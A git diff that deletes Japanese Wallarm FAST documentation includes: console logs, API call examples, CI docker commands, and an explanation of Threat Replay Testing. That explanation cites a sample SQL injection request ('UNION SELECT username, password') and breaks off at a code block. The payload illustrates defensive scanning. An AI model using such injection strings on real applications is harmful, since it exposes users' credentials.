-!!! warning "Wallarm cloudsに関する注意" - FASTは利用可能なWallarm cloudsのいずれかと連携します。 - - 本ドキュメントの情報は、特に明記がない限り、すべてのWallarm cloudsに同様に適用されます。 - - 説明を簡単にするため、本ドキュメントではFASTが米国のWallarm cloudと連携するものとします。別のWallarm cloudと連携する必要がある場合は、[Wallarm portalとAPIサーバーの該当するアドレス](../cloud-list.md)を使用してください。 \ No newline at end of file diff --git a/include-ja/fast/console-include/dsl/fast-node-recording.md b/include-ja/fast/console-include/dsl/fast-node-recording.md deleted file mode 100644 index 0cbee145a6..0000000000 --- a/include-ja/fast/console-include/dsl/fast-node-recording.md +++ /dev/null @@ -1,7 +0,0 @@ -``` -[info] ノードがWallarm Cloudに接続しました -[info] fast scanner用のカスタム拡張機能を2件読み込みました -[info] fast scanner用のデフォルト拡張機能を30件読み込みました -[info] TestRunの確認待ちです... -[info] TestRun#N 'DEMO TEST RUN'のベースラインを記録しています -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/dsl/fast-node-run-fail.md b/include-ja/fast/console-include/dsl/fast-node-run-fail.md deleted file mode 100644 index f2dfd43d6e..0000000000 --- a/include-ja/fast/console-include/dsl/fast-node-run-fail.md +++ /dev/null @@ -1,5 +0,0 @@ -``` -[info] Node connected to Wallarm Cloud -[error] Invalid custom extension 'my-extension.yaml': (): did not find expected key while parsing a block mapping at line 2 column 3 -[info] Loaded 0 custom extensions for fast scanner -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/dsl/fast-node-run-ok.md b/include-ja/fast/console-include/dsl/fast-node-run-ok.md deleted file mode 100644 index 77881e17d5..0000000000 --- a/include-ja/fast/console-include/dsl/fast-node-run-ok.md +++ /dev/null @@ -1,6 +0,0 @@ -``` -[info] ノードがWallarm Cloudに接続しました -[info] fast scanner用のカスタム拡張を1件読み込みました -[info] fast scanner用のデフォルト拡張を30件読み込みました -[info] TestRunの確認を待機しています... -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/dsl/fast-node-working.md b/include-ja/fast/console-include/dsl/fast-node-working.md deleted file mode 100644 index c298c02682..0000000000 --- a/include-ja/fast/console-include/dsl/fast-node-working.md +++ /dev/null @@ -1,19 +0,0 @@ -``` -[info] TestRunの確認を待っています... -[info] TestRun#N 'DEMO TEST RUN'のベースラインを記録しています -[info] 新しいTestRun#N 'DEMO TEST RUN'を開始しました -[info] プロキシリクエストPOST http://ojs.example.local/rest/user/login -[info] ベースライン#X用のテストセットを実行しています -... -[info] デフォルト拡張'rce-dotnet-jackson'のテストをパラメータ'POST_value'に対して実行しています -... -[info] デフォルト拡張'spel-oob'のテストをパラメータ'POST_JSON_DOC_HASH_email_value'に対して実行しています -[info] カスタム拡張'mod-extension'のテストをパラメータ'POST_JSON_DOC_HASH_email_value'に対して実行しています -[info] ホストojs.example.localでSQLIの脆弱性が検出されました ... -... -[info] デフォルト拡張'spel-oob'のテストをパラメータ'URI_value'に対して実行しています -カスタム拡張'non-mod-extension'のテストをパラメータ'URI_value'に対して実行しています -[info] ホストojs.example.localでSQLIの脆弱性が検出されました ... -... -[info] 2件の脆弱性が検出されましたので、ベースライン#Xのテストセットを失敗としてマークします -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/operations/node-in-ci-mode-report.md b/include-ja/fast/console-include/operations/node-in-ci-mode-report.md deleted file mode 100644 index 0ad6835c4f..0000000000 --- a/include-ja/fast/console-include/operations/node-in-ci-mode-report.md +++ /dev/null @@ -1,22 +0,0 @@ -``` -新しいインスタンス16dd487f-3d40-4834-xxxx-8ff17842d60bを登録しました - -================================================================================ -=============================== テスト実行結果 ================================ -================================================================================ -例のテスト実行（5080）の結果 - 失敗 -+------------------------------------------------------------------------------+ -| ベースラインチェック | -|------------------------------------------------------------------------------| -|成功 |0 | -|------------------------------------------------------------------------------| -|失敗 |2 | -|------------------------------------------------------------------------------| -|停止 |0 | -+------------------------------------------------------------------------------+ - -脆弱性を4件検出しました: -+------------------------------------------------------------------------------+ -|脅威 |中 | -... -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/poc/node-in-ci-mode-recording.md b/include-ja/fast/console-include/poc/node-in-ci-mode-recording.md deleted file mode 100644 index 7745a60256..0000000000 --- a/include-ja/fast/console-include/poc/node-in-ci-mode-recording.md +++ /dev/null @@ -1,16 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - - Loading... - [info] Node connected to Wallarm Cloud - [info] Loaded 0 custom extensions for fast scanner - [info] Loaded 44 default extensions for fast scanner - [info] TestRecord#rec_0001 TestRecord Oct 01 01:01 UTC starts to record -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/poc/node-in-ci-mode-testing.md b/include-ja/fast/console-include/poc/node-in-ci-mode-testing.md deleted file mode 100644 index 288a2da39c..0000000000 --- a/include-ja/fast/console-include/poc/node-in-ci-mode-testing.md +++ /dev/null @@ -1,17 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -Loading... -INFO synccloud[13]: Registered new instance 16dd487f-3d40-4834-xxxx-8ff17842d60b -INFO [1]: Loaded 0 custom extensions for fast scanner -INFO [1]: Loaded 44 default extensions for fast scanner -INFO [1]: Use TestRecord#rec_0001 for creating TestRun -INFO [1]: TestRun#tr_1234 created -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/qsg/fast-node-deployment-ok.md b/include-ja/fast/console-include/qsg/fast-node-deployment-ok.md deleted file mode 100644 index 989b68dd37..0000000000 --- a/include-ja/fast/console-include/qsg/fast-node-deployment-ok.md +++ /dev/null @@ -1,15 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -[info] Node connected to Wallarm Cloud -[info] Loaded 0 custom extensions for fast scanner -[info] Loaded 51 default extensions for fast scanner -[info] Waiting for TestRun to check... -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/qsg/fast-node-ready-for-recording.md b/include-ja/fast/console-include/qsg/fast-node-ready-for-recording.md deleted file mode 100644 index da0a8cf513..0000000000 --- a/include-ja/fast/console-include/qsg/fast-node-ready-for-recording.md +++ /dev/null @@ -1,7 +0,0 @@ -``` -[info] NodeがWallarm Cloudに接続しました -[info] fast scanner向けのカスタム拡張機能を0件読み込みました -[info] fast scanner向けのデフォルト拡張機能を51件読み込みました -[info] TestRunの確認を待機しています... -[info] TestRun#N 'DEMO TEST RUN'のベースラインを記録しています -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/qsg/fast-node-testing.md b/include-ja/fast/console-include/qsg/fast-node-testing.md deleted file mode 100644 index 915e67622e..0000000000 --- a/include-ja/fast/console-include/qsg/fast-node-testing.md +++ /dev/null @@ -1,9 +0,0 @@ -``` -[info] ノードがWallarm Cloudに接続しました -[info] fast scanner用のカスタム拡張機能を0個読み込みました -[info] fast scanner用のデフォルト拡張機能を51個読み込みました -[info] TestRunの確認を待機しています... -[info] TestRun#N 'DEMO TEST RUN'のベースラインを記録しています -[info] プロキシリクエスト GET https://google-gruyere.appspot.com/430232491618310677730226710602783767322/snippets.gtl?password=paSSw0rd&uid=123 -[info] ベースライン#Xのテストセットを実行しています -``` \ No newline at end of file diff --git a/include-ja/fast/console-include/tshoot/access-denied.md b/include-ja/fast/console-include/tshoot/access-denied.md deleted file mode 100644 index 680bac43b3..0000000000 --- a/include-ja/fast/console-include/tshoot/access-denied.md +++ /dev/null @@ -1,4 +0,0 @@ - ``` - 読み込み中です... - [error] 新しいインスタンスを作成できません - アクセスが拒否されました - ``` \ No newline at end of file diff --git a/include-ja/fast/console-include/tshoot/request-timeout.md b/include-ja/fast/console-include/tshoot/request-timeout.md deleted file mode 100644 index 4da7be7d1c..0000000000 --- a/include-ja/fast/console-include/tshoot/request-timeout.md +++ /dev/null @@ -1,4 +0,0 @@ - ``` - Loading... - [error] Can't create new instance - Request Timeout - ``` \ No newline at end of file diff --git a/include-ja/fast/fast-cimode-integration-examples/configured-workflow.md b/include-ja/fast/fast-cimode-integration-examples/configured-workflow.md deleted file mode 100644 index ab699ab1b1..0000000000 --- a/include-ja/fast/fast-cimode-integration-examples/configured-workflow.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "設定済みのワークフロー" - 以降の手順を進めるには、以下のいずれかに該当するワークフローがすでに設定されている必要があります。 - - * テスト自動化が実装されています。この場合、[リクエスト記録](#adding-the-step-of-request-recording)と[セキュリティテスト](#adding-the-step-of-security-testing)のステップが追加されます。 - * ベースラインのリクエストセットがすでに記録されています。この場合、[セキュリティテスト](#adding-the-step-of-security-testing)のステップが追加されます。 \ No newline at end of file diff --git a/include-ja/fast/fast-cimode-integration-examples/request-recording-setup.md b/include-ja/fast/fast-cimode-integration-examples/request-recording-setup.md deleted file mode 100644 index 9f80919110..0000000000 --- a/include-ja/fast/fast-cimode-integration-examples/request-recording-setup.md +++ /dev/null @@ -1,15 +0,0 @@ -リクエストの記録を実装するには、自動アプリケーションテストのステップに以下の設定を適用します: - -1. 自動テストを実行するコマンドの__前に__、CI_MODE=recordingモードおよびその他の必要な[変数](../ci-mode-recording.md#environment-variables-in-recording-mode)を指定してFASTのDockerコンテナを起動するコマンドを追加します。例: - - ``` - docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=app-test -p 8080:8080 --network my-network --rm wallarm/fast - ``` -2. FASTノード経由で自動テストをプロキシするように設定します。例: - - ``` - docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - ``` - -!!! warning "Dockerネットワーク" - リクエストを記録する前に、FASTノードと自動テスト用ツールが同一ネットワーク上で稼働していることを確認してください。 \ No newline at end of file diff --git a/include-ja/fast/fast-cimode-integration-examples/security-testing-setup.md b/include-ja/fast/fast-cimode-integration-examples/security-testing-setup.md deleted file mode 100644 index 5a9cb00a31..0000000000 --- a/include-ja/fast/fast-cimode-integration-examples/security-testing-setup.md +++ /dev/null @@ -1,16 +0,0 @@ -セキュリティテストを実施するには、次の手順に従ってワークフローに対応する個別のステップを追加します: - -1. テストアプリケーションが実行されていない場合は、アプリケーションを実行するコマンドを追加します。 -2. アプリケーションを実行するコマンドの__後に__、`CI_MODE=testing`モードおよびその他の必須[変数](../ci-mode-testing.md#environment-variables-in-testing-mode)を指定してFASTのDockerコンテナを起動するコマンドを追加します。 - - !!! info "記録済みベースラインリクエストセットの使用" - 別のパイプラインでベースラインリクエストのセットが記録されている場合は、[TEST_RECORD_ID][fast-ci-mode-test]変数にレコードIDを指定します。そうでない場合は、最後に記録されたセットが使用されます。 - - コマンド例: - - ``` - docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://app-test:3000 --network my-network --rm wallarm/fast - ``` - -!!! warning "Dockerネットワーク" - セキュリティテストの前に、FASTノードとテストアプリケーションが同じネットワーク上で実行されていることを確認してください。 \ No newline at end of file diff --git a/include-ja/fast/operations/api-check-testrun-status.md b/include-ja/fast/operations/api-check-testrun-status.md deleted file mode 100644 index d3b49ae6c1..0000000000 --- a/include-ja/fast/operations/api-check-testrun-status.md +++ /dev/null @@ -1,55 +0,0 @@ -| API呼び出し: | `GET /v1/test_run/test_run_id` | | -| ------------- | ------------------------------------------ | ---- | -| 認可: | 必須です | トークンを使用します | -| トークンを含むHTTPヘッダー: | `X-WallarmAPI-Token` | APIサーバーにトークンの値を渡すために使用します | -| パラメータ: | `test_run_id` **（必須）** | 状態を取得するテスト実行の識別子です | - - -**リクエストの例:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234 \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**レスポンスの例:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - "vulns": [ - { - "id": vuln_0001, - "threat": 80, - "code": "S0001", - "type": "sqli" - } - ], - "clientid": demo_0000, - "state": "failed", - "simple_state": "failed", - "allowed_actions": [], - "baseline_check_all_terminated_count": 1, - "baseline_check_fail_count": 1, - "baseline_check_tech_fail_count": 0, - "baseline_check_passed_count": 0, - "baseline_check_running_count": 0, - "baseline_check_interrupted_count": 0, - "sended_requests_count": 70, - ... - "start_time": 1555572038, - "end_time": 1555572309, - ... - "domains": [ - "app.example.local" - ], - "baseline_count": 1, - ... - "baseline_check_waiting_count": 0, - "planing_requests_count": 70 - } -} -``` \ No newline at end of file diff --git a/include-ja/fast/operations/api-copy-testrun.md b/include-ja/fast/operations/api-copy-testrun.md deleted file mode 100644 index 2cfd5db167..0000000000 --- a/include-ja/fast/operations/api-copy-testrun.md +++ /dev/null @@ -1,62 +0,0 @@ -[doc-inactivity-timeout]: internals.md#test-run - -| API呼び出し: | `POST /v1/test_run` | | -| ------------ | ------------------- | ---- | -| 認証: | 必須です | 認証はトークンで行います | -| トークンを含むHTTPヘッダー: | `X-WallarmAPI-Token` | トークンの値をAPIサーバーに渡すためのヘッダーです | -| パラメーター: | `name` **(必須)** | テスト実行の名前です | -| | `test_record_id` **(必須)** | 既存のテストレコードの識別子です | -| | `desc` | テスト実行の詳細な説明です。
              既定値: 空文字列 | -| | `file_extensions_to_exclude` | このパラメーターは、テスト中の評価処理から除外する必要がある特定のファイル種別を指定できます。これらのファイル種別は正規表現で指定します。
              例えば、除外するファイル拡張子として`ico`を設定すると、`GET /favicon.ico`のベースラインリクエストはFASTによってチェックされず、スキップされます。
              正規表現の形式は次のとおりです:
              - `.`: 任意の文字の0回以上の繰り返し
              - `x*`: 文字`x`の0回以上の繰り返し
              - `x?`: 文字`x`が1回(または0回)
              - 単一のファイル拡張子(例: `jpg`)
              - 縦棒で区切られた複数の拡張子(例: `jpg` | `png`)
              既定値: 空文字列(FASTは任意の拡張子のベースラインリクエストをチェックします)。 | -| | `policy_id` | テストポリシーの識別子です。
              このパラメーターがない場合は既定のポリシーが適用されます | -| | `stop_on_first_fail` | このパラメーターは、脆弱性が検出されたときのFASTの動作を指定します:
              `true`: 最初に検出された脆弱性でテスト実行を停止します。
              `false`: 脆弱性の有無に関係なく、すべてのベースラインリクエストを処理します。
              既定値: `false` | -| | `rps_per_baseline` | このパラメーターは、対象アプリケーションに送信するテストリクエスト数(*RPS*, *1秒あたりのリクエスト数*)の上限を指定します(例えば、1つのベースラインリクエストから100件のテストリクエストが生成される場合があります)。
              上限はテスト実行内でベースラインリクエストごとに設定されます(個々のベースラインリクエストに対して1秒あたり`N`件を超えるテストリクエストは送信されません)。
              最小値: `1`。
              最大値: `500`。
              既定値: `null` (RPSは無制限です) | -| | `rps` | このパラメーターは前述のものと似ていますが、単一のベースラインリクエストだけでなくテスト実行単位でRPSをグローバルに制限します。
              言い換えると、テスト実行中に記録されたベースラインリクエストの件数に関係なく、1秒あたりのテストリクエスト総数が指定値を超えないようにします。
              最小値: `1`。
              最大値: `1000`。
              既定値: `null` (RPSは無制限です) | - -**リクエストの例:** - -``` -curl --request POST \ - --url https://us1.api.wallarm.com/v1/test_run \ - --header 'Content-Type: application/json' \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' \ - --data '{ - "name":"demo-testrun", - "test_record_id":"rec_0001" -}' -``` - -**レスポンスの例: テスト実行のコピーが進行中です** - -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "state": "cloning", - ... - "test_record_id": "rec_0001", - ... -} -``` - -`cloning`状態は、ベースラインリクエストが元のテスト実行からそのコピー(識別子`tr_1234`のテスト実行)へ複製されていることを意味します。 - -**レスポンスの例: テスト実行のコピーに失敗しました** - -``` -{ - "status": 400, - "body": { - "test_record_id": { - "error": "not_ready_for_cloning", - "value": "rec_0001" - } - } -} -``` - -`not_ready_for_cloning`エラーは、元のテスト実行の記録処理がアクティブであるため(識別子`rec_0001`のテストレコードが関与しています)、元のテスト実行からそのコピーへベースラインリクエストをクローンできないことを意味します。 \ No newline at end of file diff --git a/include-ja/fast/operations/api-create-testrun.md b/include-ja/fast/operations/api-create-testrun.md deleted file mode 100644 index e75737fef1..0000000000 --- a/include-ja/fast/operations/api-create-testrun.md +++ /dev/null @@ -1,41 +0,0 @@ -| API呼び出し: | `POST /v1/test_run` | | -| ------------ | ------------------- | ---- | -| 認証: | 必須です | トークンを使用します | -| トークンを含むHTTPヘッダー: | `X-WallarmAPI-Token` | APIサーバーにトークンの値を渡すためのヘッダーです | -| パラメータ: | `name` **（必須）** | テスト実行の名前です | -| | `test_record_name` | テストレコード名です。すべてのベースラインリクエストはこのテストレコードに格納されます。
              デフォルト値: テスト実行の名前です。 | -| | `desc` | テスト実行の詳細説明です。
              デフォルト値: 空文字列です | -| | `file_extensions_to_exclude` | このパラメータでは、テスト中の評価処理から除外する必要がある特定のファイル種別を指定できます。これらのファイル種別は正規表現で指定します。
              例えば、除外対象として`ico`拡張子を指定すると、`GET /favicon.ico`のベースラインリクエストはFASTによるチェック対象外となり、スキップされます。
              正規表現は次の形式を取ります:
              - `.`: 任意の文字を任意回数（0回以上）
              - `x*`: `x`文字の0回以上の繰り返し
              - `x?`: 単一の`x`文字（またはなし）
              - 任意の単一のファイル拡張子（例: `jpg`）
              - 縦棒で区切った複数の拡張子（例: `jpg` | `png`）
              デフォルト値: 空文字列です（FASTはあらゆる拡張子のベースラインリクエストをチェックします）。 | -| | `policy_id` | テストポリシーの識別子です。
              パラメータがない場合はデフォルトポリシーが適用されます | -| | `stop_on_first_fail` | 脆弱性が検出されたときのFASTの動作を指定します:
              `true`: 最初の脆弱性が検出された時点でテスト実行を停止します。
              `false`: 脆弱性の有無にかかわらず、すべてのベースラインリクエストを処理します。
              デフォルト値: `false` | -| | `skip_duplicated_baselines` | 重複したベースラインリクエストに遭遇した場合のFASTの動作を指定します:
              `true`: 重複したベースラインリクエストをスキップします（同一のベースラインリクエストが複数ある場合、テストリクエストは最初のベースラインリクエストに対してのみ生成されます）。
              `false`: 受信する各ベースラインリクエストに対してテストリクエストを生成します。
              デフォルト値: `true` | -| | `rps_per_baseline` | 対象アプリケーションに送信するテストリクエスト数（*RPS*、*1秒あたりのリクエスト数*）の上限を指定します（例: 単一のベースラインリクエストから100件のテストリクエストが導出される場合があります）。
              この上限はテスト実行内でベースラインリクエストごとに設定されます（個々のベースラインリクエストに対しては、1秒あたり`N`件を超えるテストリクエストは送信されません）。
              最小値: `1`。
              最大値: `500`。
              デフォルト値: `null`（RPSは無制限です） | -| | `rps` | 上記と同様ですが、単一のベースラインリクエストではなく、テスト実行単位でRPSを全体として制限します。
              言い換えると、テスト実行中に記録されたベースラインリクエスト数に関係なく、1秒あたりのテストリクエスト総数が指定値を超えないようにします。
              最小値: `1`。
              最大値: `1000`。
              デフォルト値: `null`（RPSは無制限です） | -| | `inactivity_timeout` | FASTノードが新しいベースラインリクエストの到着を待機する時間間隔（秒）を指定します。
              この動作の詳細は[こちら][doc-inactivity-timeout]に記載しています。
              このタイムアウトは、記録済みのベースラインリクエストに対するセキュリティテストの生成および実行プロセスには影響しません。
              最小値: `300`（300秒または5分）。
              最大値: `86400`（86400秒または1日）。
              デフォルト値: `1800`（1800秒または30分） | - -**リクエストの例:** - -``` -curl --request POST \ - --url https://us1.api.wallarm.com/v1/test_run \ - --header 'Content-Type: application/json' \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' \ - --data '{ - "name":"demo-testrun" -}' -``` - -**レスポンスの例:** - -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "state": "running", - ... -} -``` \ No newline at end of file diff --git a/include-ja/fast/operations/api-stop-recording.md b/include-ja/fast/operations/api-stop-recording.md deleted file mode 100644 index f5ffaba318..0000000000 --- a/include-ja/fast/operations/api-stop-recording.md +++ /dev/null @@ -1,26 +0,0 @@ -| API呼び出し: | `POST /v1/test_run/test_run_id/action/stop` | | -| ------------- | ------------------------------------------ | ---- | -| 認証: | 必須 | トークンを使用します | -| トークンを指定するHTTPヘッダー: | `X-WallarmAPI-Token` | トークンの値をAPIサーバーに渡すために使用します | -| パラメータ: | `test_run_id` **(必須)** | ベースラインリクエストの記録を停止する対象のテストランの識別子です | - -**リクエストの例:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234/action/stop \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**レスポンスの例:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - ... - "recording": false, - ... - } -} -``` \ No newline at end of file diff --git a/include-ja/fast/operations/env-vars-allowed-hosts.md b/include-ja/fast/operations/env-vars-allowed-hosts.md deleted file mode 100644 index a03c53590e..0000000000 --- a/include-ja/fast/operations/env-vars-allowed-hosts.md +++ /dev/null @@ -1,12 +0,0 @@ -[link-allowed-hosts]: http://nginx.org/en/docs/http/server_names.html - -!!! info "有効な`ALLOWED_HOSTS`変数の値" - `ALLOWED_HOSTS`変数は、次のホスト形式を受け付けます。 - - * 完全修飾名（例: `node.example.local`） - * 先頭がドットの値（例: `.example.local`）は、サブドメインのワイルドカードとして認識されます - * すべてに一致する`*`の値（この場合、すべてのリクエストはFAST nodeによって記録されます） - * 複数の値のセット（例: `"(node.example.local|example.com)"`） - * [NGINXでサポートされている構文](http://nginx.org/en/docs/http/server_names.html#regex_names)の正規表現 - - `ALLOWED_HOSTS`変数の値の詳細については、この[リンク][link-allowed-hosts]をご参照ください。 \ No newline at end of file diff --git a/include-ja/fast/poc/api-check-testrun-status-recording.md b/include-ja/fast/poc/api-check-testrun-status-recording.md deleted file mode 100644 index 055f78bdfb..0000000000 --- a/include-ja/fast/poc/api-check-testrun-status-recording.md +++ /dev/null @@ -1,28 +0,0 @@ -| API呼び出し: | `GET /v1/test_run/test_run_id` | | -| ------------- | ------------------------------------------ | ---- | -| 認可: | 必須です | 認可はトークンで行われます | -| トークンを渡すHTTPヘッダー: | `X-WallarmAPI-Token` | APIサーバーにトークンの値を渡すためのものです | -| パラメータ: | `test_run_id` **(必須)** | 状態を取得する対象のテスト実行の識別子です | - - -**リクエストの例:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234 \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**レスポンスの例:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "ready_for_recording": true, - ... - } -} -``` \ No newline at end of file diff --git a/include-ja/fast/test-run-adv-settings.md b/include-ja/fast/test-run-adv-settings.md deleted file mode 100644 index 32434a2b5e..0000000000 --- a/include-ja/fast/test-run-adv-settings.md +++ /dev/null @@ -1,19 +0,0 @@ - * “Stop on first fail”チェックボックスは、最初の脆弱性が検出された時点でテスト実行を停止するかどうかを指定します。 - * “Skip duplicated baselines”チェックボックスは、以前に受信したベースラインリクエストの重複を無視するかどうかを指定します。FAST nodeがこのテスト実行中に以前受信したものと同一のベースラインリクエストを受信した場合、そのベースラインに基づくテストリクエストは生成されず、FAST node consoleに次のメッセージが出力されます： `[info] The baseline #8921 is duplicated and already was processed`。 - * “Skip following files extensions”チェックボックスは、テスト中の評価プロセスから特定のファイル種別を除外するかどうかを指定します。これらのファイル種別は正規表現で指定します。 - - 例えば、除外するファイル拡張子として`ico`を設定すると、`GET /favicon.ico`のベースラインリクエストはFASTによってチェックされず、スキップされます。 - - 正規表現には、次のいずれかの相互排他的な表現を含めることができます： - - * `.`: 任意の文字を任意の回数 - * `x*`: 文字`x`の任意の回数 - * `x?`: 文字`x`が1個（または文字`x`がない場合） - * 任意の単一のファイル拡張子（例: `jpg`） - * “|”または“,”文字で区切られた複数の拡張子（例: `jpg | png` または `jpg, png`） - - 正規表現が指定されていない場合、FASTは任意のファイル拡張子のベースラインリクエストをチェックします。 - - * “RPS per test run”スライダーは、テスト実行に対する1秒あたりのリクエスト数の上限を指定します。この設定は`1`から`1000`の範囲で指定できます。デフォルト値は`1000`です。 - * “RPS per baseline”スライダーは、1つのベースラインリクエストに対する1秒あたりのリクエスト数の上限を指定します。この設定は`1`から`500`の範囲で指定できます。デフォルト値は`500`です。 - * “Stop baseline recording after”スライダーは、テスト実行の時間上限を指定します。この設定は`5 min`（5分）から`1 day`（24時間）までの値を指定できます。デフォルト値は`30 min`（30分）です。 \ No newline at end of file diff --git a/include-ja/fast/wallarm-api-host-note-cicd.md b/include-ja/fast/wallarm-api-host-note-cicd.md deleted file mode 100644 index b7b890127c..0000000000 --- a/include-ja/fast/wallarm-api-host-note-cicd.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! warning "FASTノードをいずれかのWallarm Cloudに接続" - FASTノードは、[利用可能なWallarm Cloud](../../cloud-list.md)のいずれかと連携します。既定では、FASTノードは米国のWallarm CloudにあるWallarm APIサーバと動作します。 - - 別のクラウドのAPIサーバを使用するようにFASTノードに指定するには、対象のWallarm APIサーバのアドレスを指す環境変数`WALLARM_API_HOST`をノードコンテナに渡します。 - - 例（欧州のWallarm CloudにあるAPIサーバを使用するFASTノードの場合）: - - ``` - WALLARM_API_HOST=api.wallarm.com - ``` \ No newline at end of file diff --git a/include-ja/fast/wallarm-api-host-note.md b/include-ja/fast/wallarm-api-host-note.md deleted file mode 100644 index 5bf1fffc99..0000000000 --- a/include-ja/fast/wallarm-api-host-note.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! warning "FASTノードをいずれかのWallarmクラウドに接続する" - FASTノードは[利用可能なWallarmクラウド](../cloud-list.md)のいずれかと連携します。デフォルトでは、FASTノードはアメリカのクラウドにあるWallarm APIサーバーを使用します。 - - 別のクラウドのAPIサーバーを使用するようFASTノードに指定するには、必要なWallarm APIサーバーのアドレスを示す環境変数`WALLARM_API_HOST`をノードコンテナに渡します。 - - 例（ヨーロッパのWallarmクラウドにあるAPIサーバーを使用するFASTノードの場合）: - - ``` - WALLARM_API_HOST=api.wallarm.com - ``` \ No newline at end of file diff --git a/include-ja/filter-node-defaults.md b/include-ja/filter-node-defaults.md deleted file mode 100644 index fc9a8a3393..0000000000 --- a/include-ja/filter-node-defaults.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! info "デフォルト設定" - 新規にインストールされたフィルタリングノードは、デフォルトでブロッキングモード（[`wallarm_mode`](configure-parameters-en.md#wallarm_mode)ディレクティブの説明を参照してください）で動作します。 - - これにより[Wallarm Scanner](../user-guides/scanner.md)が動作しない場合があります。Scannerを使用する予定がある場合は、Scannerを動作可能にするために[追加の対応が必要です](#adding-wallarm-scanner-addresses-to-the-allowlist)。 \ No newline at end of file diff --git a/include-ja/gcp-autoscaling-connect-ssh.md b/include-ja/gcp-autoscaling-connect-ssh.md deleted file mode 100644 index c1246daf97..0000000000 --- a/include-ja/gcp-autoscaling-connect-ssh.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "カスタム秘密鍵を使用してインスタンスに接続する" - ベースインスタンスの作成時にカスタムSSHキーペアによるインスタンスへの接続を有効にしている場合は、そのキーペアの秘密鍵にアクセスできることを確認してください。 \ No newline at end of file diff --git a/include-ja/how-attack-rechecker-works.md b/include-ja/how-attack-rechecker-works.md deleted file mode 100644 index af1aad5736..0000000000 --- a/include-ja/how-attack-rechecker-works.md +++ /dev/null @@ -1,39 +0,0 @@ -最初に検出された攻撃に基づいて、**Threat Replay Testing**モジュールは同一のエンドポイントを狙う異なるペイロードの多数の新しいテストリクエストを作成します。この仕組みにより、Wallarmは攻撃中に悪用される可能性のある脆弱性を検出できます。Threat Replay Testingのプロセスは、特定の攻撃ベクトルに対してアプリケーションが脆弱でないことを確認するか、実際のアプリケーションのセキュリティ問題を発見します。 - -[モジュールで検出できる脆弱性の一覧](../attacks-vulns-list.md) - -**Threat Replay Testing**のプロセスは、保護対象のアプリケーションに存在し得るWebおよびAPIのセキュリティ脆弱性を確認するために、次のロジックを使用します。 - -1. Wallarmフィルタリングノードで検出され、接続先のWallarm Cloudにアップロードされた悪意のあるリクエストの各グループ（各攻撃）について、システムはどのエンドポイント（URL、リクエストストリングパラメータ、JSON属性、XMLフィールドなど）が攻撃され、攻撃者がどの種類の脆弱性（SQLi、RCE、XSSなど）を悪用しようとしていたかを分析します。例えば、次の悪意のあるGETリクエストを示します: - - ```bash - https://example.com/login?token=IyEvYmluL3NoCg&user=UNION SELECT username, password - ``` - - このリクエストから、システムは次の詳細を把握します: - - * 攻撃されたURLは`https://example.com/login`です - * 使用された攻撃の種類はSQLiです（`UNION SELECT username, password`というペイロードに基づきます） - * 攻撃対象のクエリストリングパラメータは`user`です - * 追加情報として、リクエストストリングパラメータ`token=IyEvYmluL3NoCg`が含まれています（アプリケーションがユーザーを認証するために使用している可能性があります） -2. 収集した情報を使用して、**Threat Replay Testing**モジュールは、元のターゲットエンドポイントに対して、同じ攻撃タイプ（例: SQLi）に関する異なる種類の悪意のあるペイロードを用いた約100〜150件のテストリクエストのリストを作成します。例えば: - - ```bash - 